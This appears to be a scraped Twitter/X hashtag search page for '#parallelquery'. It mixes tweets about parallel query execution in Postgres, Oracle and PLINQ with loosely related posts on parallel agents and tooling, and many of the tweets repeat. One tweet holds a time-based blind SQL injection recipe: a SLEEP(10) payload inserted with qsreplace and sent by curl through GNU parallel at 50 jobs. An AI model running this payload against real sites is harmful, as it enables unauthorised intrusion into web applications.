#parallelquery 搜尋結果

A #ParallelQuery is one that can be executed over multiple system threads in order to improve performance. #BigData #ManagedServices #PrivateCloud #HybridCloud #SaaSHosting

zsahLTD's tweet image. A #ParallelQuery is one that can be executed over multiple system threads in order to improve performance.  #BigData #ManagedServices #PrivateCloud #HybridCloud #SaaSHosting

Packed house to hear Robert Haas of #EnterpriseDB to talk #Parallelquery in #Postgres10 @PGConfUS

EDBPostgres's tweet image. Packed house to hear Robert Haas of #EnterpriseDB to talk #Parallelquery in #Postgres10 @PGConfUS

I like #PLINQ for his laconicity and power! PLINQ-query works faster with large data. The method #AsParallel returns an object of type #ParallelQuery. #csharp #linq #join

alexanderusov's tweet image. I like #PLINQ for his laconicity and power!
PLINQ-query works faster with large data. The method #AsParallel returns an object of type #ParallelQuery.
#csharp #linq #join

Robert Haas of @EDBPostgres will present on #Parallelquery in #Postgres10 Thursday at 2 pm @PGConfUS Details: bit.ly/2ohHP9C

EDBPostgres's tweet image. Robert Haas of @EDBPostgres will present on #Parallelquery in #Postgres10 Thursday at 2 pm @PGConfUS Details: bit.ly/2ohHP9C

Although #parallelQuery to an in-memory data grid is fast & scales, it can easily create a network bottleneck and overload the client with work. Instead, run a #dataParallel method to both query *and* perform the client's work in the grid. Learn more: bit.ly/2WfjZQs

ScaleOut_Inc's tweet image. Although #parallelQuery to an in-memory data grid is fast & scales, it can easily create a network bottleneck and overload the client with work. Instead, run a #dataParallel method to both query *and* perform the client's work in the grid. Learn more: bit.ly/2WfjZQs

#parallelquery in #cache will boost your performances. Great for union, .... . #isbsummit2015 #database #ICT


The #ParallelQuery is vastly improved in 11g according to @PeakIndicators #BASummit #Track1


Christo Kutrovsky @kutrovsky explains when and how to use GBY_PUSHDOWN. #Oracle #ParallelQuery hubs.ly/H0dg4Wt0


More details and explanations in an ongoing series regarding #Oracle #ParallelQuery Hints by Christo Kutrovsky @kutrovsky hubs.ly/H0dySyp0


"In terms of #HTAP, I think it's mainly used for smaller scale light-duty #analytics, which we can see either as #parallelquery and sharding, support, and #transactionalengines which makes some medium-complexity analytics possible." #OSACon


Minutes to go and Robert Haas comes on to talk #Parallelquery in #Postgres10 in Liberty I at 2 pm @PGConfUS bit.ly/2ohHP9C


Does Amazon Aurora Parallel Query Deliver Advertised 100x Performance Gain? #ParallelQuery #serverless percona.com/blog/2019/01/1… Via HackerNews news.ycombinator.com/item?id=189333…


"In terms of #HTAP, I think it's mainly used for smaller scale light-duty #analytics, which we can see either as #parallelquery and sharding, support, and #transactionalengines which makes some medium-complexity analytics possible." #OSACon


A #ParallelQuery is one that can be executed over multiple system threads in order to improve performance. #BigData #ManagedServices #PrivateCloud #HybridCloud #SaaSHosting

zsahLTD's tweet image. A #ParallelQuery is one that can be executed over multiple system threads in order to improve performance.  #BigData #ManagedServices #PrivateCloud #HybridCloud #SaaSHosting

Although #parallelQuery to an in-memory data grid is fast & scales, it can easily create a network bottleneck and overload the client with work. Instead, run a #dataParallel method to both query *and* perform the client's work in the grid. Learn more: bit.ly/2WfjZQs

ScaleOut_Inc's tweet image. Although #parallelQuery to an in-memory data grid is fast & scales, it can easily create a network bottleneck and overload the client with work. Instead, run a #dataParallel method to both query *and* perform the client's work in the grid. Learn more: bit.ly/2WfjZQs

Does Amazon Aurora Parallel Query Deliver Advertised 100x Performance Gain? #ParallelQuery #serverless percona.com/blog/2019/01/1… Via HackerNews news.ycombinator.com/item?id=189333…


More details and explanations in an ongoing series regarding #Oracle #ParallelQuery Hints by Christo Kutrovsky @kutrovsky hubs.ly/H0dySyp0


Christo Kutrovsky @kutrovsky explains when and how to use GBY_PUSHDOWN. #Oracle #ParallelQuery hubs.ly/H0dg4Wt0


I like #PLINQ for his laconicity and power! PLINQ-query works faster with large data. The method #AsParallel returns an object of type #ParallelQuery. #csharp #linq #join

alexanderusov's tweet image. I like #PLINQ for his laconicity and power!
PLINQ-query works faster with large data. The method #AsParallel returns an object of type #ParallelQuery.
#csharp #linq #join

Packed house to hear Robert Haas of #EnterpriseDB to talk #Parallelquery in #Postgres10 @PGConfUS

EDBPostgres's tweet image. Packed house to hear Robert Haas of #EnterpriseDB to talk #Parallelquery in #Postgres10 @PGConfUS

Minutes to go and Robert Haas comes on to talk #Parallelquery in #Postgres10 in Liberty I at 2 pm @PGConfUS bit.ly/2ohHP9C


Robert Haas of @EDBPostgres will present on #Parallelquery in #Postgres10 Thursday at 2 pm @PGConfUS Details: bit.ly/2ohHP9C

EDBPostgres's tweet image. Robert Haas of @EDBPostgres will present on #Parallelquery in #Postgres10 Thursday at 2 pm @PGConfUS Details: bit.ly/2ohHP9C

未找到 "#parallelquery" 的結果

Understanding Pharos’ Parallel Execution Framework 🧵

pharos_network's tweet image. Understanding Pharos’ Parallel Execution Framework 🧵

parallel-parallel.com — Parallel parallel has a fun site that makes their brand and their work is aligned. In parallel of course. Good stuff.

thisisgrey's tweet image. parallel-parallel.com — Parallel parallel has a fun site that makes their brand and their work is aligned. In parallel of course. Good stuff.
thisisgrey's tweet image. parallel-parallel.com — Parallel parallel has a fun site that makes their brand and their work is aligned. In parallel of course. Good stuff.
thisisgrey's tweet image. parallel-parallel.com — Parallel parallel has a fun site that makes their brand and their work is aligned. In parallel of course. Good stuff.
thisisgrey's tweet image. parallel-parallel.com — Parallel parallel has a fun site that makes their brand and their work is aligned. In parallel of course. Good stuff.

SQLi Time Based with Curl apt install moreutils apt install parallel cat urls.txt | grep "=" | qsreplace "1 AND (SELECT 5230 FROM (SELECT(SLEEP(10)))SUmc)" > blindsqli.txt (or any other payload) cat blindsqli.txt | parallel -j50 -q curl -o /dev/null -s -w %{time_total}\\n

adrielsec's tweet image. SQLi Time Based with Curl
apt install moreutils
apt install parallel 

cat urls.txt | grep "=" | qsreplace "1 AND (SELECT 5230 FROM (SELECT(SLEEP(10)))SUmc)" > blindsqli.txt    (or any other payload)

cat blindsqli.txt | parallel -j50 -q curl -o /dev/null -s -w %{time_total}\\n

Today, we are open-sourcing our pipeline to deduplicate large-scale image datasets. On one GPU, we can deduplicate 10k images against 1M indexed test images in ~60 seconds. But how?

lusxvr's tweet image. Today, we are open-sourcing our pipeline to deduplicate large-scale image datasets. 

On one GPU, we can deduplicate 10k images against 1M indexed test images in ~60 seconds. But how?

Tip: Leverage multiprocessing.Pool’s map or starmap functions to apply a function to multiple inputs in parallel for simple parallel loops. #Python #Concurrency

SuperFastPython's tweet image. Tip: Leverage multiprocessing.Pool’s map or starmap functions to apply a function to multiple inputs in parallel for simple parallel loops.
#Python #Concurrency

🤔 Consistent Characters from a starting image 🤖 Can be automated (ComfyUI) 🏎️ Fast (runs in parallel on API nodes) 💸 Cheap (Gemini Image Flash) It's faster on API nodes, but if you want to do it local you can also use Qwen Image Edit 2509! 🥳 Workflow + Tutorial tomorrow.

PurzBeats's tweet image. 🤔 Consistent Characters from a starting image
🤖 Can be automated (ComfyUI)
🏎️ Fast (runs in parallel on API nodes)
💸 Cheap (Gemini Image Flash)

It's faster on API nodes, but if you want to do it local you can also use Qwen Image Edit 2509!

🥳 Workflow + Tutorial tomorrow.
PurzBeats's tweet image. 🤔 Consistent Characters from a starting image
🤖 Can be automated (ComfyUI)
🏎️ Fast (runs in parallel on API nodes)
💸 Cheap (Gemini Image Flash)

It's faster on API nodes, but if you want to do it local you can also use Qwen Image Edit 2509!

🥳 Workflow + Tutorial tomorrow.
PurzBeats's tweet image. 🤔 Consistent Characters from a starting image
🤖 Can be automated (ComfyUI)
🏎️ Fast (runs in parallel on API nodes)
💸 Cheap (Gemini Image Flash)

It's faster on API nodes, but if you want to do it local you can also use Qwen Image Edit 2509!

🥳 Workflow + Tutorial tomorrow.
PurzBeats's tweet image. 🤔 Consistent Characters from a starting image
🤖 Can be automated (ComfyUI)
🏎️ Fast (runs in parallel on API nodes)
💸 Cheap (Gemini Image Flash)

It's faster on API nodes, but if you want to do it local you can also use Qwen Image Edit 2509!

🥳 Workflow + Tutorial tomorrow.

8 codex agents parallelized with git worktrees

andyrewlee's tweet image. 8 codex agents parallelized with git worktrees

I was going to write a blog on parallel JAX until they updated the API a lot. Now it is so shockingly easy to do that it might not be worth it 😅 Below is the diff between my single GPU training script and one that I just tested on 8xTPUs in data parallel. 🔥

alexfmckinney's tweet image. I was going to write a blog on parallel JAX until they updated the API a lot. Now it is so shockingly easy to do that it might not be worth it 😅

Below is the diff between my single GPU training script and one that I just tested on 8xTPUs in data parallel. 🔥

Added the parallel search api to the chart for completeness.

paraga's tweet image. Added the parallel search api to the chart for completeness.

Perplexity Search API achieves leading quality across single-step and deep research benchmarks, consistently outperforming competitors.

perplexity_ai's tweet image. Perplexity Search API achieves leading quality across single-step and deep research benchmarks, consistently outperforming competitors.


Modern HTML has many performance controls: 🔑 Prioritize a key image: <img fetchpriority=high> 💤 Lazy-load images: <img loading=lazy> 🌐 Warm connections to origins: rel=preconnect 🕐 Fetch late-found resources: rel=preload ⏭️ Fetch next-page navigations: rel=prefetch

addyosmani's tweet image. Modern HTML has many performance controls:

🔑 Prioritize a key image: &amp;lt;img fetchpriority=high&amp;gt;
💤 Lazy-load images: &amp;lt;img loading=lazy&amp;gt;
🌐 Warm connections to origins: rel=preconnect
🕐 Fetch late-found resources: rel=preload
⏭️ Fetch next-page navigations: rel=prefetch

an example of how i use parallell agents in @cursor_ai

ericzakariasson's tweet image. an example of how i use parallell agents in @cursor_ai

running parallell agents is really powerful and easy to do in @cursor_ai here are 3 ways you can do it right now:

ericzakariasson's tweet image. running parallell agents is really powerful and easy to do in @cursor_ai

here are 3 ways you can do it right now:


When all you did was add "-Parallel" to a #PowerShell foreach loop and the script runs 250% faster 🔥

awakecoding's tweet image. When all you did was add &quot;-Parallel&quot; to a #PowerShell foreach loop and the script runs 250% faster 🔥

If you are still using PowerShell 5, you are missing one of the greatest features In PowerShell 7, we have the option to do $something | ForEach-Object -Parallel { "do the thing" Read all about it here: devblogs.microsoft.com/powershell/pow…



"a picture is worth a thousand threaded posts" - plato

HelloBetterAI's tweet image. &quot;a picture is worth a thousand threaded posts&quot; - plato

Building confidence-based profit targets for prediction market trading 🎯 Most algos use fixed take-profit levels. We built a dynamic system that scales profit targets with AI confidence—a risk-adjusted approach inspired by Kelly criterion thinking. Higher confidence = more…



Filter & Sort - Uxercon Icon Library 🎛️

uxercon's tweet image. Filter &amp;amp; Sort - Uxercon Icon Library 🎛️

LLMs: p(token_i | token_i-1, i-2, ...) Image/Video Gen:

andrezfu's tweet image. LLMs: 

p(token_i | token_i-1, i-2, ...)

Image/Video Gen:
andrezfu's tweet image. LLMs: 

p(token_i | token_i-1, i-2, ...)

Image/Video Gen:

Refik Anadol (@refikanadol) Created AI Data Sculpture Based On A Hundred Million Images Of Coral. parametric-architecture.com/refik-anadol-c…

parametricarch's tweet image. Refik Anadol (@refikanadol) Created AI Data Sculpture Based On A Hundred Million Images Of Coral.

parametric-architecture.com/refik-anadol-c…
parametricarch's tweet image. Refik Anadol (@refikanadol) Created AI Data Sculpture Based On A Hundred Million Images Of Coral.

parametric-architecture.com/refik-anadol-c…
parametricarch's tweet image. Refik Anadol (@refikanadol) Created AI Data Sculpture Based On A Hundred Million Images Of Coral.

parametric-architecture.com/refik-anadol-c…
parametricarch's tweet image. Refik Anadol (@refikanadol) Created AI Data Sculpture Based On A Hundred Million Images Of Coral.

parametric-architecture.com/refik-anadol-c…

Code for 𝐏𝐚𝐫𝐚𝐥𝐥𝐞𝐥-𝐑𝟏 is live! 👉 github.com/zhengkid/Paral… (now 189 stars and climbing 🔥) It lets LLMs think in parallel — multiple reasoning paths, smarter synthesis, more creative inference! Miss this paper and you’re missing a leap forward: arxiv.org/abs/2509.07980

wyu_nd's tweet image. Code for 𝐏𝐚𝐫𝐚𝐥𝐥𝐞𝐥-𝐑𝟏 is live! 👉 github.com/zhengkid/Paral…
(now 189 stars and climbing 🔥)

It lets LLMs think in parallel — multiple reasoning paths, smarter synthesis, more creative inference!

Miss this paper and you’re missing a leap forward: arxiv.org/abs/2509.07980

Me: Just wanted to print the #Altius logo Printer: "Initiating multi-threaded render pipeline…" 🖨️💻 #EVM #ParallelExecution @AltiusLabs

doanlonghau's tweet image. Me: Just wanted to print the #Altius logo
Printer: &quot;Initiating multi-threaded render pipeline…&quot;
🖨️💻 

#EVM #ParallelExecution @AltiusLabs

Uber Eats handles millions of product images every hour. At this scale, duplicate images are a big problem. Storing the same image multiple times is a huge drag on processing & CDN costs. So, how does Uber deal with duplicate images? Let's find out in 2 minutes 👉The first…

ProgressiveCod2's tweet image. Uber Eats handles millions of product images every hour.

At this scale, duplicate images are a big problem.

Storing the same image multiple times is a huge drag on processing &amp;amp; CDN costs.

So, how does Uber deal with duplicate images?

Let&apos;s find out in 2 minutes

👉The first…
ProgressiveCod2's tweet image. Uber Eats handles millions of product images every hour.

At this scale, duplicate images are a big problem.

Storing the same image multiple times is a huge drag on processing &amp;amp; CDN costs.

So, how does Uber deal with duplicate images?

Let&apos;s find out in 2 minutes

👉The first…
ProgressiveCod2's tweet image. Uber Eats handles millions of product images every hour.

At this scale, duplicate images are a big problem.

Storing the same image multiple times is a huge drag on processing &amp;amp; CDN costs.

So, how does Uber deal with duplicate images?

Let&apos;s find out in 2 minutes

👉The first…
ProgressiveCod2's tweet image. Uber Eats handles millions of product images every hour.

At this scale, duplicate images are a big problem.

Storing the same image multiple times is a huge drag on processing &amp;amp; CDN costs.

So, how does Uber deal with duplicate images?

Let&apos;s find out in 2 minutes

👉The first…

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